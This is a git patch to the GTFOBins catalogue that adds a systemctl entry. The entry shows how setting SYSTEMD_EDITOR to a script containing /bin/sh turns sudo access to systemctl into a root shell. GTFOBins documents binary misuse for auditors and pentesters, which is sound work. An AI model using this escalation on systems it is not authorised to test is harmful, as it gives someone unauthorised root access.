From aa081877184128a1963d841809114cf64b7b18d4 Mon Sep 17 00:00:00 2001 From: Miles Whittaker Date: Tue, 2 Jul 2019 18:14:29 +0200 Subject: [PATCH] Add systemctl example using SYSTEMD_EDITOR Close #65. --- _gtfobins/systemctl.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/_gtfobins/systemctl.md b/_gtfobins/systemctl.md index 597a30e..4a68b33 100644 --- a/_gtfobins/systemctl.md +++ b/_gtfobins/systemctl.md @@ -11,6 +11,11 @@ functions: ./systemctl link $TF ./systemctl enable --now $TF sudo: + - code: | + TF=$(mktemp) + echo /bin/sh >$TF + chmod +x $TF + sudo SYSTEMD_EDITOR=$TF systemctl edit system.slice - code: | TF=$(mktemp).service echo '[Service]